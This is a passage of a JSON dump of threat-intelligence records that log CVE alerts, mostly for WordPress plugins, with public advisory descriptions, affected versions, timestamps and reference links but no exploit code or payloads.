2025-01-08T03:18:09.528Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/1d95ec4b-0cbc-49c6-821e-7050d8045159?source=cve\n2. https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3218204%40slotti-ajanvaraus&new=3218204%40slotti-ajanvaraus&sfp_email=&sfph_mail=", "creation_timestamp": "2025-01-08T03:39:31.000000Z"}, {"uuid": "374a2f11-f9d6-4e4c-a784-284fd4a365d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12713", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/623", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12713\n\ud83d\udd39 Description: The SureForms \u2013 Drag and Drop Form Builder for WordPress plugin for WordPress is vulnerable to Information Exposure in all versions up to, and including, 1.2.2 via the handle_export_form() function due to a missing capability check. This makes it possible for unauthenticated attackers to export data from password protected, private, or draft posts that they should not have access to.\n\ud83d\udccf Published: 2025-01-08T03:18:10.248Z\n\ud83d\udccf Modified: 2025-01-08T03:18:10.248Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/412d5fa7-08fc-402a-bcac-b2dff87de861?source=cve\n2. https://plugins.trac.wordpress.org/changeset/3215338/sureforms/tags/1.2.3/inc/export.php", "creation_timestamp": "2025-01-08T03:39:25.000000Z"}, {"uuid": "ffe10344-5f28-4b89-a562-9c22fc40b0a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12205", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/641", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12205\n\ud83d\udd39 Description: The Themesflat Addons For Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the TF E Slider Widget in all versions up to, and including, 2.2.4 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-01-08T04:17:58.274Z\n\ud83d\udccf Modified: 2025-01-08T04:17:58.274Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/45c6c041-91b0-4abe-ba72-ec1251651fdb?source=cve\n2. https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3215859%40themesflat-addons-for-elementor&new=3215859%40themesflat-addons-for-elementor&sfp_email=&sfph_mail=", "creation_timestamp": "2025-01-08T04:38:42.000000Z"}, {"uuid": "feb38743-27cf-4381-bc7b-464e73d851ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12030", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/639", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12030\n\ud83d\udd39 Description: The MDTF \u2013 Meta Data and Taxonomies Filter plugin for WordPress is vulnerable to SQL Injection via the 'key' attribute of the 'mdf_value' shortcode in all versions up to, and including, 1.3.3.5 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for authenticated attackers, with Contributor-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.\n\ud83d\udccf Published: 2025-01-08T04:17:59.363Z\n\ud83d\udccf Modified: 2025-01-08T04:17:59.363Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/d2ead824-2722-4b09-8387-e064dee371c1?source=cve\n2. https://plugins.trac.wordpress.org/browser/wp-meta-data-filter-and-taxonomy-filter/trunk/classes/shortcodes.php?rev=3204774#L874\n3. https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3210333%40wp-meta-data-filter-and-taxonomy-filter&new=3210333%40wp-meta-data-filter-and-taxonomy-filter&sfp_email=&sfph_mail=", "creation_timestamp": "2025-01-08T04:38:17.000000Z"}, {"uuid": "381306b4-f763-4909-9c3c-7f6cab9b8b13", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12851", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/674", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12851\n\ud83d\udd39 Description: The Element Pack Elementor Addons (Header Footer, Template Library, Dynamic Grid, Carousel and Remote Arrows) plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the custom_attributes parameter of the Cookie Consent Widget in all versions up to, and including, 5.10.14 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-01-08T06:41:37.636Z\n\ud83d\udccf Modified: 2025-01-08T06:41:37.636Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/39b0af74-f773-4a56-b169-2ee11e923813?source=cve\n2. https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3212890%40bdthemes-element-pack-lite&new=3212890%40bdthemes-element-pack-lite&sfp_email=&sfph_mail=", "creation_timestamp": "2025-01-08T07:39:14.000000Z"}, {"uuid": "74e10eb3-a876-43a3-86d3-e37e1567c640", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12852", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/673", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12852\n\ud83d\udd39 Description: The Happy Addons for Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'ha_cmc_text' parameter of the Happy Mouse Cursor in all versions up to, and including, 3.15.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-01-08T06:41:38.203Z\n\ud83d\udccf Modified: 2025-01-08T06:41:38.203Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/e60d4528-2ec5-4a4b-be77-0fc012c13720?source=cve\n2. https://plugins.trac.wordpress.org/changeset/3212495/happy-elementor-addons/tags/3.15.2/assets/js/custom-mouse-cursor.js", "creation_timestamp": "2025-01-08T07:39:08.000000Z"}, {"uuid": "e633ce08-b2f3-4188-b932-22989a44be3c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12584", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/672", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12584\n\ud83d\udd39 Description: The 140+ Widgets | Xpro Addons For Elementor \u2013 FREE plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 1.4.6.2 via the 'duplicate' function. This makes it possible for authenticated attackers, with Contributor-level access and above, to extract potentially sensitive data from draft, scheduled (future), private, and password protected posts.\n\ud83d\udccf Published: 2025-01-08T06:41:38.596Z\n\ud83d\udccf Modified: 2025-01-08T06:41:38.596Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/fa085bc0-af0b-4797-a10f-4d41b4988c02?source=cve\n2. https://plugins.trac.wordpress.org/changeset/3212531/xpro-elementor-addons", "creation_timestamp": "2025-01-08T07:39:02.000000Z"}, {"uuid": "a82a0920-0b4d-48dd-a86f-f6c42ea6b98d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12855", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/681", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12855\n\ud83d\udd39 Description: The AdForest theme for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on several AJAX actions like 'sb_remove_ad' in all versions up to, and including, 5.1.7. This makes it possible for authenticated attackers, with Subscriber-level access and above, to delete posts, attachments and deactivate a license.\n\ud83d\udccf Published: 2025-01-08T08:18:17.853Z\n\ud83d\udccf Modified: 2025-01-08T08:18:17.853Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/db7f5553-758b-47ab-8319-a549b73f4cfa?source=cve\n2. https://themeforest.net/item/adforest-classified-wordpress-theme/19481695", "creation_timestamp": "2025-01-08T09:12:38.000000Z"}, {"uuid": "c3142b10-29dc-404b-8491-80a519ba8ec0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12337", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/691", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12337\n\ud83d\udd39 Description: The Shipping via Planzer for WooCommerce plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the \u2018processed-ids\u2019 parameter in all versions up to, and including, 1.0.25 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.\n\ud83d\udccf Published: 2025-01-08T11:09:25.845Z\n\ud83d\udccf Modified: 2025-01-08T11:09:25.845Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/e80ed130-8ad2-4fb0-a583-02fc675804d6?source=cve\n2. https://plugins.trac.wordpress.org/changeset/3214785/wc-planzer-shipping", "creation_timestamp": "2025-01-08T12:12:40.000000Z"}, {"uuid": "2682ba45-6530-4627-b0e0-e1424f83fb78", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12045", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/668", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12045\n\ud83d\udd39 Description: The Essential Blocks \u2013 Page Builder Gutenberg Blocks, Patterns & Templates plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the maker title value of the Google Maps block  in all versions up to, and including, 5.0.9 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level access, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.\n\ud83d\udccf Published: 2025-01-08T07:18:38.149Z\n\ud83d\udccf Modified: 2025-01-08T07:18:38.149Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/b07f3ade-5f10-4621-99a2-18eeab993403?source=cve\n2. https://plugins.trac.wordpress.org/changeset/3210374/essential-blocks/tags/5.1.1/src/blocks/google-map/src/marker.js", "creation_timestamp": "2025-01-08T07:38:33.000000Z"}, {"uuid": "15ef780d-cbc8-4126-855c-76395da1349f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12854", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/688", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12854\n\ud83d\udd39 Description: The Garden Gnome Package plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the functionality that automatically extracts 'ggpkg' files that have been uploaded in all versions up to, and including, 2.3.0. This makes it possible for authenticated attackers, with Author-level access and above, to upload arbitrary files on the affected site's server which may make remote code execution possible.\n\ud83d\udccf Published: 2025-01-08T09:18:36.303Z\n\ud83d\udccf Modified: 2025-01-08T09:18:36.303Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/6bcfc8f1-e962-4ad7-8a9d-89ce5c9022b6?source=cve\n2. https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3215986%40garden-gnome-package&new=3215986%40garden-gnome-package&sfp_email=&sfph_mail=", "creation_timestamp": "2025-01-08T10:12:11.000000Z"}, {"uuid": "92a6416c-9655-49e2-b6f5-81bca458305e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12853", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/687", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12853\n\ud83d\udd39 Description: The Modula Image Gallery plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the zip upload functionality in all versions up to, and including, 2.11.10. This makes it possible for authenticated attackers, with Author-level access and above, to upload arbitrary files on the affected site's server which may make remote code execution possible.\n\ud83d\udccf Published: 2025-01-08T09:18:36.690Z\n\ud83d\udccf Modified: 2025-01-08T09:18:36.690Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/ef86b1f2-d5aa-4e83-a792-5fa35734b3d3?source=cve\n2. https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3218127%40modula-best-grid-gallery&new=3218127%40modula-best-grid-gallery&sfp_email=&sfph_mail=", "creation_timestamp": "2025-01-08T10:12:02.000000Z"}, {"uuid": "8d73e465-0979-4431-a555-79998a149eb1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12328", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/685", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12328\n\ud83d\udd39 Description: The MAS Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via SVG File uploads in all versions up to, and including, 1.1.7 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses the SVG file.\n\ud83d\udccf Published: 2025-01-08T08:18:16.153Z\n\ud83d\udccf Modified: 2025-01-08T08:18:16.153Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/01ccc7b8-3dd4-4b83-bd53-687f7479b214?source=cve\n2. https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3212434%40mas-addons-for-elementor&new=3212434%40mas-addons-for-elementor&sfp_email=&sfph_mail=", "creation_timestamp": "2025-01-08T09:13:03.000000Z"}, {"uuid": "84e70aba-e67a-43d8-9622-741a3b607998", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12105", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/694", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12105\n\ud83d\udd39 Description: In WhatsUp Gold versions released before 2024.0.2, an authenticated user can use a\u00a0specially crafted HTTP request that can lead to information disclosure.\n\ud83d\udccf Published: 2024-12-31T10:32:08.238Z\n\ud83d\udccf Modified: 2025-01-08T13:07:04.839Z\n\ud83d\udd17 References:\n1. https://www.progress.com/network-monitoring", "creation_timestamp": "2025-01-08T14:12:20.000000Z"}, {"uuid": "3f2a3daa-2fe5-460f-83df-e21026e0d6d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12736", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/892", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12736\n\ud83d\udd39 Description: The BU Section Editing WordPress plugin through 0.9.9 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin.\n\ud83d\udccf Published: 2025-01-09T06:00:09.513Z\n\ud83d\udccf Modified: 2025-01-09T06:00:09.513Z\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/d3c6a4c1-8358-4f8b-b58d-3f712052668f/", "creation_timestamp": "2025-01-09T06:17:07.000000Z"}, {"uuid": "adf5d19f-99ba-4e17-b321-c6f2c0e7dc6b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12330", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/949", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12330\n\ud83d\udd39 Description: The WP Database Backup \u2013 Unlimited Database & Files Backup by Backup for WP plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 7.3 via publicly accessible back-up files. This makes it possible for unauthenticated attackers to extract sensitive data including all information stored in the database.\n\ud83d\udccf Published: 2025-01-09T11:10:56.083Z\n\ud83d\udccf Modified: 2025-01-09T11:10:56.083Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/3f36839b-850e-4c39-aa61-4fd7a89cd5bc?source=cve\n2. https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3209380%40wp-database-backup&new=3209380%40wp-database-backup&sfp_email=&sfph_mail=\n3. https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3209387%40wp-database-backup&new=3209387%40wp-database-backup&sfp_email=&sfph_mail=", "creation_timestamp": "2025-01-09T12:16:47.000000Z"}, {"uuid": "43d0a531-bac1-4a99-aa52-7ef60591d905", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12285", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/948", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12285\n\ud83d\udd39 Description: The SEMA API plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the \u2018catid\u2019 parameter in all versions up to, and including, 5.27 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.\n\ud83d\udccf Published: 2025-01-09T11:10:56.456Z\n\ud83d\udccf Modified: 2025-01-09T11:10:56.456Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/42b9e16c-8e53-452d-9c0b-34c424d6f508?source=cve\n2. https://wordpress.org/plugins/sema-api/#developers", "creation_timestamp": "2025-01-09T12:16:41.000000Z"}, {"uuid": "9c78b19a-677b-41d1-90c9-71a0c9d1e42c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12431", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/846", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12431\n\ud83d\udd39 Description: An issue was discovered in GitLab CE/EE affecting all versions starting from 15.5 before 17.5.5, 17.6 before 17.6.3, and 17.7 before 17.7.1, in which unauthorized users could manipulate the status of issues in public projects.\n\ud83d\udccf Published: 2025-01-08T20:30:42.896Z\n\ud83d\udccf Modified: 2025-01-08T20:30:42.896Z\n\ud83d\udd17 References:\n1. https://gitlab.com/gitlab-org/gitlab/-/issues/508742\n2. https://about.gitlab.com/releases/2025/01/08/patch-release-gitlab-17-7-1-released/#unauthorized-user-can-manipulate-status-of-issues-in-public-projects\n3. https://hackerone.com/reports/2877710", "creation_timestamp": "2025-01-08T21:14:36.000000Z"}, {"uuid": "a05a21db-fff1-4c93-9c41-b55f5a349101", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12819", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/935", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12819\n\ud83d\udd39 Description: The Searchie plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'sio_embed_media' shortcode in all versions up to, and including, 1.17.0 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-01-09T11:11:02.195Z\n\ud83d\udccf Modified: 2025-01-09T11:11:02.195Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/8abed8c7-0c3f-4054-a116-82ce47d605de?source=cve\n2. https://plugins.trac.wordpress.org/browser/searchie/trunk/SIO/Shortcodes/WidgetsEmbed.php\n3. https://wordpress.org/plugins/searchie/", "creation_timestamp": "2025-01-09T12:15:58.000000Z"}, {"uuid": "93f9e07d-135a-425e-b266-c0c24d44d470", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12567", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/1352", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12567\n\ud83d\udd39 Description: The Email Subscribers by Icegram Express  WordPress plugin before 5.7.45 does not sanitise and escape some of its form settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup).\n\ud83d\udccf Published: 2025-01-13T06:00:10.180Z\n\ud83d\udccf Modified: 2025-01-13T06:00:10.180Z\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/82051ccc-c528-4ff3-900a-3b8e8ad34145/", "creation_timestamp": "2025-01-13T06:05:58.000000Z"}, {"uuid": "b2ad659f-0f54-43ba-b658-cbe25abb64fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12621", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/940", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12621\n\ud83d\udd39 Description: The Yumpu E-Paper publishing plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'YUMPU' shortcode in all versions up to, and including, 3.0.8 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-01-09T11:10:59.390Z\n\ud83d\udccf Modified: 2025-01-09T11:10:59.390Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/60c0db19-deda-4b95-a341-cf33883dc9b4?source=cve\n2. https://plugins.trac.wordpress.org/browser/yumpu-epaper-publishing/tags/3.0.8/lib/Shortcode.php#L24\n3. https://plugins.trac.wordpress.org/browser/yumpu-epaper-publishing/tags/3.0.8/lib/Shortcode.php#L81", "creation_timestamp": "2025-01-09T12:16:14.000000Z"}, {"uuid": "9efcba4b-47d2-475c-8786-aa9ff5666f9c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12222", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/950", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12222\n\ud83d\udd39 Description: The Deliver via Shipos for WooCommerce plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the \u2018dvsfw_bulk_label_url\u2019 parameter in all versions up to, and including, 2.1.7 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.\n\ud83d\udccf Published: 2025-01-09T11:10:55.725Z\n\ud83d\udccf Modified: 2025-01-09T11:10:55.725Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/377afb95-02d9-46b9-936d-3d58257dd928?source=cve\n2. https://wordpress.org/plugins/wc-shipos-delivery/#developers", "creation_timestamp": "2025-01-09T12:16:52.000000Z"}, {"uuid": "57de8cf4-63a6-4879-89e5-da173b494595", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12472", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/1263", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12472\n\ud83d\udd39 Description: The Post Duplicator plugin for WordPress is vulnerable to Information Exposure in all versions up to, and including, 2.36 via the mtphr_duplicate_post() due to insufficient restrictions on which posts can be duplicated. This makes it possible for authenticated attackers, with Contributor-level access and above, to extract data from password protected, private, or draft posts that they should not have access to by duplicating the post.\n\ud83d\udccf Published: 2025-01-11T02:20:53.726Z\n\ud83d\udccf Modified: 2025-01-11T02:20:53.726Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/3071b2dc-9673-4e30-bd04-7404eb6a1ed9?source=cve\n2. https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3219375%40post-duplicator&new=3219375%40post-duplicator&sfp_email=&sfph_mail=", "creation_timestamp": "2025-01-11T03:04:18.000000Z"}, {"uuid": "54655f67-e9b8-4781-9311-28be6652e8b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12204", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/1259", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12204\n\ud83d\udd39 Description: The Coupon X: Discount Pop Up, Promo Code Pop Ups, Announcement Pop Up, WooCommerce Popups plugin for WordPress is vulnerable to unauthorized access due to missing capability checks on several functions in the class-cx-rest.php file in all versions up to, and including, 1.3.5. This makes it possible for authenticated attackers, with Subscriber-level access and above, to create 100% off coupons, delete posts, delete leads, and update coupon statuses.\n\ud83d\udccf Published: 2025-01-11T02:20:55.309Z\n\ud83d\udccf Modified: 2025-01-11T02:20:55.309Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/e52d8b5e-727f-474a-a255-c24033db17d8?source=cve\n2. https://plugins.trac.wordpress.org/changeset/3219466/coupon-x-discount-pop-up/trunk/inc/class-cx-rest.php", "creation_timestamp": "2025-01-11T03:04:06.000000Z"}, {"uuid": "3dc8c387-128b-4e71-ad99-6abf1642e6ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12714", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/897", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12714\n\ud83d\udd39 Description: The Backlink Monitoring Manager WordPress plugin through 0.1.3 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin.\n\ud83d\udccf Published: 2025-01-09T06:00:05.935Z\n\ud83d\udccf Modified: 2025-01-09T06:00:05.935Z\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/f7fb2aef-16ce-4ae7-927c-2ffbc45fbda5/", "creation_timestamp": "2025-01-09T06:20:54.000000Z"}, {"uuid": "2be6730e-a69b-4e70-af9c-3dbefccdfa46", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12715", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/896", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12715\n\ud83d\udd39 Description: The Asgard Security Scanner WordPress plugin through 0.7 does not sanitise and escape a parameter before outputting it 